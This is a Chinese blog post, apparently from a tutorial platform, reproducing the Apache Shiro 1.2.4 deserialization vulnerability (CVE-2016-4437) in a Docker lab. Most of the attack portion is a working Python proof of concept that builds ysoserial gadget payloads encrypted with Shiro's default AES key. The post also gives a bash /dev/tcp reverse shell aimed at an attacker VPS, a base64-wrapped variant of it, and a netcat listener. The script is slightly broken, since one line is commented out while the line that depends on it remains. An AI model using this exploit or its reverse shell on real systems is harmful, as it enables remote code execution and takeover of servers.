Apache Shiro 1.2.4命令执行(CVE-2016-4437)复现

Shiro是什么?

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API。

怎么判断要测试的这个网站是否用到了Shiro框架?

可以在请求包cookie字段加入rememberMe=1,观察返回数据包是否包含rememberMe=deleteMe等信息

Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

用Docker搭建靶机环境如下:

将POC脚本拷贝至自己的VPS

shiro_poc1.py

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
#    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

利用CEYE看是否能执行命令

复制生成的rememberMe修改抓到的数据包

点击GO发送数据包,CYEY观察回显如下:

 

当然生成rememberMe时执行的命令可以换成反弹shell命令bash –i >& /dev/tcp/VPSIP地址/端口号 0>&1

需要base4进行加密

bash -c {echo,YmFza、、、、、MjEuMzcuMTQyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

 

VPS监听反弹回来的端口 nc -lvp 1234

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值